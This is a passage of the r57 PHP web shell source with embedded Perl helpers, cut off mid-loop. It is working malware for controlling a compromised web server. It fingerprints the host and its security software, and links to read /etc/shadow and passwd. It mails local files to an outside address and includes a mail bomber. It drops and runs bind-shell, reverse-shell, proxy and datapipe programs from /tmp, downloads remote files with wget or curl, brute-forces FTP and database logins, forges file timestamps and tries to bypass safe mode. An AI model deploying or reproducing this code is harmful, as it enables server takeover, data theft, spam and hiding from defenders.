530if ($o->{'dir'}) { $fh = Symbol::gensym(); open($fh, ">$o->{'dir'}/tunnel$num.log") or die "$!"; }
531$ch->autoflush();
532$th->autoflush();
533while ($ch || $th) {
534my $rin = "";
535vec($rin, fileno($ch), 1) = 1 if $ch;
536vec($rin, fileno($th), 1) = 1 if $th;
537my($rout, $eout);
538select($rout = $rin, undef, $eout = $rin, 120);
539if (!$rout && !$eout) {}
540my $cbuffer = "";
541my $tbuffer = "";
542if ($ch && (vec($eout, fileno($ch), 1) || vec($rout, fileno($ch), 1))) {
543my $result = sysread($ch, $tbuffer, 1024);
544if (!defined($result)) {
545print STDERR "$!\n";
546exit 0;
547}
548if ($result == 0) { exit 0; }
549}
550if ($th && (vec($eout, fileno($th), 1) || vec($rout, fileno($th), 1))) {
551my $result = sysread($th, $cbuffer, 1024);
552if (!defined($result)) { print STDERR "$!\n"; exit 0; }
553if ($result == 0) {exit 0;}
554}
555if ($fh && $tbuffer) {(print $fh $tbuffer);}
556while (my $len = length($tbuffer)) {
557my $res = syswrite($th, $tbuffer, $len);
558if ($res > 0) {$tbuffer = substr($tbuffer, $res);}
559else {print STDERR "$!\n";}
560}
561while (my $len = length($cbuffer)) {
562my $res = syswrite($ch, $cbuffer, $len);
563if ($res > 0) {$cbuffer = substr($cbuffer, $res);}
564else {print STDERR "$!\n";}
565}}}
566";
567
568####==========================================
569
570$prx_pl="#!usr/bin/perl
571use Socket;
572my $port = $ARGV[0]||31337;
573my $protocol = getprotobyname('tcp');
574my $my_addr = sockaddr_in ($port, INADDR_ANY);
575socket (SOCK, AF_INET, SOCK_STREAM, $protocol) or die "socket(): $!";
576setsockopt (SOCK, SOL_SOCKET, SO_REUSEADDR,1 ) or die "setsockopt(): $!";
577bind (SOCK, $my_addr) or die "bind(): $!";
578listen (SOCK, SOMAXCONN) or die "listen(): $!";
579$SIG{'INT'} = sub {
580close (SOCK);
581exit;
582};
583while (1) {
584next unless my $remote_addr = accept (SESSION, SOCK);
585my ($fist, $method, $remote_host, $remote_port) = analyze_request();
586if(open_connection (REMOTE, $remote_host, $remote_port) == 0) {
587close (SESSION);
588next;
589}
590print REMOTE $first;
591print REMOTE "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
592while (<SESSION>) {
593next if (/Proxy-Connection:/ || /User-Agent:/);
594print REMOTE $_;
595last if ($_ =~ /^[\s\x00]*$/);
596}
597print REMOTE "\n";
598$header = 1;
599while (<REMOTE>) {
600print SESSION $_;
601if ($header) {
602if ($header && $_ =~ /^[\s\x00]*$/) {
603$header = 0;
604}
605}
606}
607close (REMOTE);
608close (SESSION);
609}
610close (SOCK);
611sub analyze_request {
612my ($fist, $url, $remote_host, $remote_port, $method);
613$first = <SESSION>;
614$url = ($first =~ m|(http://\S+)|)[0];
615($method, $remote_host, $remote_port) =
616($first =~ m!(GET) http://([^/:]+):?(\d*)! );
617if (!$remote_host) {
618close(SESSION);
619exit;
620}
621$remote_port = "http" unless ($remote_port);
622$first =~ s/http:\/\/[^\/]+//;
623return ($first, $method, $remote_host, $remote_port);
624}
625sub open_connection {
626my ($host, $port) = @_[1,2];
627my ($dest_addr, $cur);
628if ($port !~ /^\d+$/) {
629$port = (getservbyname($port, "tcp"))[2];
630$port = 80 unless ($port);
631}
632$host = inet_aton ($host) or return 0;
633$dest_addr = sockaddr_in ($port, $host);
634socket ($_[0], AF_INET, SOCK_STREAM, $protocol) or die "socket() : $!";
635connect ($_[0], $dest_addr) or return 0;
636$cur = select($_[0]);
637$| = 1;
638select($cur);
639return 1;
640}
641
642####==========================================
643
644if($unix) { if(!isset($_COOKIE['uname'])) {$uname = ex('uname -a');setcookie('uname',$uname);}else {$uname = $_COOKIE['uname'];} if(!isset($_COOKIE['id'])) {$id = ex('id');setcookie('id',$id);}else {$id = $_COOKIE['id'];} if($safe_mode) {$sysctl = '-';} else if(isset($_COOKIE['sysctl'])) {$sysctl = $_COOKIE['sysctl'];} else { $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease'); if(empty($sysctl)) {$sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease');} if(empty($sysctl)) {$sysctl = '-';} setcookie('sysctl',$sysctl); } } echo $head; echo '</head>'; echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333 width=160><font face=Verdana size=2>'.ws(2).'<font face=tahoma size=2><b>r57 shell '.$version.'</b></font></td><td bgcolor=#333333><font face=Verdana size=-2>'; echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b> Your IP: [<font color=blue>".gethostbyname($_SERVER["REMOTE_ADDR"])."</font>]"; if(isset($_SERVER['X_FORWARDED_FOR'])){echo " X_FORWARDED_FOR: [<font color=red>".$_SERVER['X_FORWARDED_FOR']."</font>]";} if(isset($_SERVER['CLIENT_IP'])){echo " CLIENT_IP: [<font color=red>".$_SERVER['CLIENT_IP']."</font>]";} echo " Server IP: [<a href=http://www.ip-adress.com/reverse_ip/".gethostbyname($_SERVER["HTTP_HOST"])." target=iframe><font color=blue>".gethostbyname($_SERVER["HTTP_HOST"])."</font></a>]"; echo "<br>"; echo ws(2)."PHP version: <b>".@phpversion()."</b>"; $curl_on = @function_exists('curl_version'); echo ws(2); echo "cURL: <b>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>")); echo "</b>".ws(2); echo "MySQL: <b>"; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "<font color=green>ON</font>";}else {echo "<font color=red>Kapali</font>";} echo "</b>".ws(2); echo "MSSQL: <b>"; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";} echo "</b>".ws(2); echo "PostgreSQL: <b>"; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";} echo "</b>".ws(2); echo "Oracle: <b>"; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "<font color=green>ON</font>";}else{echo "<font color=red>Kapali</font>";} echo "</b><br>".ws(2); echo "Safe_mode: <b>"; echo (($safe_mode)?("<font color=green>ON</font>"):("<font color=red>Kapali</font>")); echo "</b>".ws(2); echo "Open_basedir: <b>"; if($open_basedir) {if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=green>$df</font></b>";};} else {echo "<font color=red>NONE</font></b>";} echo ws(2)."Safe_mode_exec_dir: <b>"; if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} else {echo "<font color=red>ini_get disable!</font></b>";} echo ws(2)."Safe_mode_include_dir: <b>"; if(@function_exists('ini_get')) {if (''==($df=@ini_get('safe_mode_include_dir'))) {echo "<font color=red>NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} else {echo "<font color=red>ini_get disable!</font></b>";} echo "<br>".ws(2); echo "Disable functions : <b>";$df='ini_get disable!'; if((@function_exists('ini_get')) &&(''==($df=@ini_get('disable_functions')))){echo "<font color=red>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} echo "<br>".ws(2)."Free space : <b>".view_size($free)."</b> Total space: <b>".view_size($all)."</b>"; $ust=''; if($unix &&!$safe_mode){ if (which('gcc')) {$ust.="gcc,";} if (which('cc')) {$ust.="cc,";} if (which('ld')) {$ust.="ld,";} if (which('php')) {$ust.="php,";} if (which('perl')) {$ust.="perl,";} if (which('python')) {$ust.="python,";} if (which('ruby')) {$ust.="ruby,";} if (which('make')) {$ust.="make,";} if (which('tar')) {$ust.="tar,";} if (which('nc')) {$ust.="netcat,";} if (which('locate')) {$ust.="locate,";} if (which('suidperl')) {$ust.="suidperl,";} } if (@function_exists('pcntl_exec')) {$ust.="pcntl_exec,";} if($ust){echo "<br>".ws(2).$lang[$language.'_text137'].": <font color=blue>".$ust."</font>";} $ust=''; if($unix &&!$safe_mode){ if (which('kav')) {$ust.="kav,";} if (which('nod32')) {$ust.="nod32,";} if (which('bdcored')) {$ust.="bitdefender,";} if (which('uvscan')) {$ust.="mcafee,";} if (which('sav')) {$ust.="symantec,";} if (which('drwebd')) {$ust="drwebd,";} if (which('clamd')) {$ust.="clamd,";} if (which('rkhunter')) {$ust.="rkhunter,";} if (which('chkrootkit')) {$ust.="chkrootkit,";} if (which('iptables')) {$ust.="iptables,";} if (which('ipfw')) {$ust.="ipfw,";} if (which('tripwire')) {$ust.="tripwire,";} if (which('shieldcc')) {$ust.="stackshield,";} if (which('portsentry')) {$ust.="portsentry,";} if (which('snort')) {$ust.="snort,";} if (which('ossec')) {$ust.="ossec,";} if (which('lidsadm')) {$ust.="lidsadm,";} if (which('tcplodg')) {$ust.="tcplodg,";} if (which('tripwire')) {$ust.="tripwire,";} if (which('sxid')) {$ust.="sxid,";} if (which('logcheck')) {$ust.="logcheck,";} if (which('logwatch')) {$ust.="logwatch,";} } if (@function_exists('apache_get_modules') &&@in_array('mod_security',apache_get_modules())) {$ust.="mod_security,";} if($ust){echo "<br>".ws(2).$lang[$language.'_text138'].": <font color=red>$ust</font>";} echo "<br>".ws(2)."</b>"; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; if(!$unix) { echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?systeminfo title=\"".$lang[$language.'_text50']."\"><b>systeminfo</b></a> ".$rb; }else{ echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?syslog title=\"View syslog.conf\"><b>syslog</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?resolv title=\"View resolv\"><b>resolv</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?hosts title=\"View hosts\"><b>hosts</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?shadow title=\"View shadow\"><b>shadow</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?passwd title=\"".$lang[$language.'_text95']."\"><b>passwd</b></a> ".$rb; } echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb; if($unix &&!$safe_mode) { echo "<br>".ws(2)."</b>"; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?procinfo title=\"View procinfo\"><b>procinfo</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?version title=\"View proc version\"><b>version</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?free title=\"View mem free\"><b>free</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?dmesg(8) title=\"View dmesg\"><b>dmesg</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?vmstat title=\"View vmstat\"><b>vmstat</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lspci title=\"View lspci\"><b>lspci</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsdev title=\"View lsdev\"><b>lsdev</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?interrupts title=\"View interrupts\"><b>interrupts</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise1 title=\"View realise1\"><b>realise1</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?realise2 title=\"View realise2\"><b>realise2</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?lsattr title=\"View lsattr -va\"><b>lsattr</b></a> ".$rb; echo "<br>".ws(2)."</b>"; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?w title=\"View w\"><b>w</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?who title=\"View who\"><b>who</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uptime title=\"View uptime\"><b>uptime</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?last title=\"View last -n 10\"><b>last</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?psaux title=\"View ps -aux\"><b>ps aux</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?service title=\"View service\"><b>service</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?ifconfig title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?netstat title=\"View netstat -a\"><b>netstat</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fstab title=\"View fstab\"><b>fstab</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fdisk title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb; echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?df title=\"View df -h\"><b>df -h</b></a> ".$rb; } echo '</font></td></tr><table>
645<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000>
646<tr><td align=right width=100>'; echo $font; if($unix){ echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; echo "</td><td>"; echo "<font face=Verdana size=-2 color=red><b>"; echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); echo ws(3).$sysctl."<br>"; echo ws(3).ex('echo $OSTYPE')."<br>"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; if(!empty($id)) {echo ws(3).$id."<br>";} else if(@function_exists('posix_geteuid') &&@function_exists('posix_getegid') &&@function_exists('posix_getgrgid') &&@function_exists('posix_getpwuid')) { $euserinfo = @posix_getpwuid(@posix_geteuid()); $egroupinfo = @posix_getgrgid(@posix_getegid()); echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>'; } else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>"; echo ws(3).$dir; echo ws(3).'( '.perms(@fileperms($dir)).' )'; echo "</b></font>"; } else { echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; echo "</td><td>"; echo "<font face=Verdana size=-2 color=red><b>"; echo ws(3).@substr(@php_uname(),0,120)."<br>"; echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; echo ws(3).@getenv("USERNAME")."<br>"; echo ws(3).$dir; echo "<br></font>"; } echo "</font>"; echo "</td></tr></table>"; if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail") { $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."
647"); err(6+$res); $_POST['cmd']=""; } if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_file"&&!empty($_POST['loc_file'])) { if($file=@fopen($_POST['loc_file'],"r")){$filedump = @fread($file,@filesize($_POST['loc_file']));@fclose($file);} else if ($file=readzlib($_POST['loc_file'])) {$filedump = $file;}else {err(1,$_POST['loc_file']);$_POST['cmd']="";} if(isset($_POST['cmd'])) { $filename = @basename($_POST['loc_file']); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); $attach = array( "name"=>$filename, "type"=>$mime_type, "content"=>$filedump ); if(empty($_POST['subj'])) {$_POST['subj'] = 'file from r57';} if(empty($_POST['from'])) {$_POST['from'] = 'billy@microsoft.com';} $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach); err(6+$res); $_POST['cmd']=""; } } if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_bomber"&&!empty($_POST['mail_flood']) &&!empty($_POST['mail_size'])) { for($h=1;$h<=$_POST['mail_flood'];$h++){ $res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ",1024*$_POST['mail_size']),"From: ".$_POST['from']."
648"); } err(6+$res); $_POST['cmd']=""; } if(!empty($_POST['cmd']) &&$_POST['cmd'] == "find_text") { $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; } if(!empty($_POST['cmd']) &&$_POST['cmd']=="ch_") { switch($_POST['what']) { case 'own': @chown($_POST['param1'],$_POST['param2']); break; case 'grp': @chgrp($_POST['param1'],$_POST['param2']); break; case 'mod': @chmod($_POST['param1'],intval($_POST['param2'],8)); break; } $_POST['cmd']=""; } if(!empty($_POST['cmd']) &&$_POST['cmd']=="mk") { switch($_POST['what']) { case 'file': if($_POST['action'] == "create") { if(@file_exists($_POST['mk_name']) ||!$file=@fopen($_POST['mk_name'],"w")) {err(2,$_POST['mk_name']);$_POST['cmd']="";} else { @fclose($file); $_POST['e_name'] = $_POST['mk_name']; $_POST['cmd']="edit_file"; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>"; } } else if($_POST['action'] == "delete") { if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>"; $_POST['cmd']=""; } break; case 'dir': if($_POST['action'] == "create"){ if(@mkdir($_POST['mk_name'])) { $_POST['cmd']=""; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>"; } else {err(2,$_POST['mk_name']);$_POST['cmd']="";} } else if($_POST['action'] == "delete"){ if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>"; $_POST['cmd']=""; } break; } } if(!empty($_POST['cmd']) &&$_POST['cmd']=="touch") { if(!$_POST['file_name_r']) { $datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds"; $datar = @strtotime($datar); @touch($_POST['file_name'],$datar,$datar);} else{ @touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r'])); } $_POST['cmd']=""; } if(!empty($_POST['cmd']) &&$_POST['cmd']=="edit_file"&&!empty($_POST['e_name'])) { if(!$file=@fopen($_POST['e_name'],"r+")) {$filedump = @fread($file,@filesize($_POST['e_name']));@fclose($file);$only_read = 1;} if($file=@fopen($_POST['e_name'],"r")) {$filedump = @fread($file,@filesize($_POST['e_name']));@fclose($file);} else if ($file=readzlib($_POST['e_name'])) {$filedump = $file;$only_read = 1;}else {err(1,$_POST['e_name']);$_POST['cmd']="";} if(isset($_POST['cmd'])) { echo $table_up3; echo $font; echo "<form name=save_file method=post>"; echo ws(3)."<b>".$_POST['e_name']."</b>"; echo "<div align=center><textarea name=e_text cols=121 rows=24>"; echo @htmlspecialchars($filedump); echo "</textarea>"; echo "<input type=hidden name=e_name value=".$_POST['e_name'].">"; echo "<input type=hidden name=dir value=".$dir.">"; echo "<input type=hidden name=cmd value=save_file>"; echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">")); echo "</div>"; echo "</font>"; echo "</form>"; echo "</td></tr></table>"; exit(); } } if(!empty($_POST['cmd']) &&$_POST['cmd']=="save_file") { $mtime = @filemtime($_POST['e_name']); if((!$file=@fopen($_POST['e_name'],"w")) &&(!function_exists('file_put_contents'))) {err(0,$_POST['e_name']);} else { if($unix) $_POST['e_text']=@str_replace("
649","
650",$_POST['e_text']); @fwrite($file,$_POST['e_text']) or @fputs($file,$_POST['e_text']) or @file_put_contents($_POST['e_name'],$_POST['e_text']); @touch($_POST['e_name'],$mtime,$mtime); $_POST['cmd']=""; echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>"; } } if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl")) { cf("/tmp/prxpl",$prx_pl); $p2=which("perl"); $blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &"); $_POST['cmd']="ps -aux | grep prxpl"; } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) { cf("/tmp/bd.c",$port_bind_bd_c); $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); @unlink("/tmp/bd.c"); $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); $_POST['cmd']="ps -aux | grep bd"; } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) { cf("/tmp/bdpl",$port_bind_bd_pl); $p2=which("perl"); $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); $_POST['cmd']="ps -aux | grep bdpl"; } if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="Perl")) { cf("/tmp/back",$back_connect); $p2=which("perl"); $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="C")) { cf("/tmp/back.c",$back_connect_c); $blah = ex("gcc -o /tmp/backc /tmp/back.c"); @unlink("/tmp/back.c"); $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; } if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="Perl")) { cf("/tmp/dp",$datapipe_pl); $p2=which("perl"); $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); $_POST['cmd']="ps -aux | grep dp"; } if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="C")) { cf("/tmp/dpc.c",$datapipe_c); $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); @unlink("/tmp/dpc.c"); $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); $_POST['cmd']="ps -aux | grep dpc"; } if (!empty($_POST['alias']) &&isset($aliases[$_POST['alias']])) {$_POST['cmd'] = $aliases[$_POST['alias']];} for($upl=0;$upl<=16;$upl++) { if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){ if(!empty($_POST['new_name']) &&($upl==0)) {$nfn = $_POST['new_name'];} else {$nfn = $HTTP_POST_FILES['userfile'.$upl]['name'];} @move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn) or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>"); } } if (!empty($_POST['with']) &&!empty($_POST['rem_file']) &&!empty($_POST['loc_file'])) { switch($_POST['with']) { case 'fopen': $datafile = @implode("",@file($_POST['rem_file'])); if($datafile) { $w_file=@fopen($_POST['loc_file'],"wb") or @function_exists('file_put_contents') or err(0); if($w_file) { @fwrite($w_file,$datafile) or @fputs($w_file,$datafile) or @file_put_contents($_POST['loc_file'],$datafile); @fclose($w_file); } } $_POST['cmd'] = ''; break; case 'wget': $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; break; case 'fetch': $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; break; case 'lynx': $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case 'links': $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case 'GET': $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; break; case 'curl': $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; break; } } if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_file_up") ||($_POST['cmd']=="ftp_file_down"))) { list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); if(empty($ftp_port)) {$ftp_port = 21;} $connection = @ftp_connect ($ftp_server,$ftp_port,10); if(!$connection) {err(3);} else { if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) {err(4);} else { if($_POST['cmd']=="ftp_file_down") {if(chop($_POST['loc_file'])==$dir) {$_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']);}@ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);} if($_POST['cmd']=="ftp_file_up") {@ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);} } } @ftp_close($connection); $_POST['cmd'] = ""; } if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_brute") ||($_POST['cmd']=="db_brute"))) { if($_POST['cmd']=="ftp_brute"){ list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); if(empty($ftp_port)) {$ftp_port = 21;} $connection = @ftp_connect ($ftp_server,$ftp_port,10); }else if($_POST['cmd']=="db_brute"){ $connection = 1; } if(!$connection) {err(3);$_POST['cmd'] = "";} else if(($_POST['brute_method']=='passwd') &&(!$users=get_users('/etc/passwd'))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>";$_POST['cmd'] = "";} else if(($_POST['brute_method']=='dic') &&(!$users=get_users($_POST['dictionary']))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>";$_POST['cmd'] = "";} if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);} } echo $table_up3; if (empty($_POST['cmd']) &&!$safe_mode &&!$open_basedir) {$_POST['cmd']=(!$unix)?("dir"):("ls -lia");} else if(empty($_POST['cmd']) &&($safe_mode ||$open_basedir)){$_POST['cmd']="safe_dir";} echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; if($safe_mode ||$open_basedir) { switch($_POST['cmd']) { case 'safe_dir': $d=@dir($dir); if ($d) { while (false!==($file=$d->read())) { if ($file=="."||$file=="..") continue; @clearstatcache(); @list ($dev,$inode,$inodep,$nlink,$uid,$gid,$inodev,$size,$atime,$mtime,$ctime,$bsize) = stat($file); if(!$unix){ echo date("d.m.Y H:i",$mtime); if(@is_dir($file)) echo " <DIR> ";else printf("% 7s ",$size); } else{ if(@function_exists('posix_getpwuid')){ $owner = @posix_getpwuid($uid); $grgid = @posix_getgrgid($gid); }else{$owner['name']=$grgid['name']='';} echo $inode." "; echo perms(@fileperms($file)); @printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); echo date("d.m.Y H:i ",$mtime); } echo "$file
651"; } $d->close(); } else if(@function_exists('glob')) { function eh($errno,$errstr,$errfile,$errline) { global $D,$c,$i; preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/",$errstr,$o); if($o){$D[$c] = $o[2];$c++;} } $error_reporting = @ini_get('error_reporting'); error_reporting(E_WARNING); @ini_set("display_errors",1); $root = "/"; if($dir) $root = $dir; $c = 0;$D = array(); @set_error_handler("eh"); $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; for($i=0;$i <strlen($chars);$i++) { $path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}"; $prevD = $D[count($D)-1]; @glob($path."*"); if($D[count($D)-1] != $prevD) { for($j=0;$j <strlen($chars);$j++) { $path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}"; $prevD2 = $D[count($D)-1]; @glob($path."*"); if($D[count($D)-1] != $prevD2) { for($p=0;$p <strlen($chars);$p++) { $path ="{$root}".((substr($root,-1)!="/") ?"/": 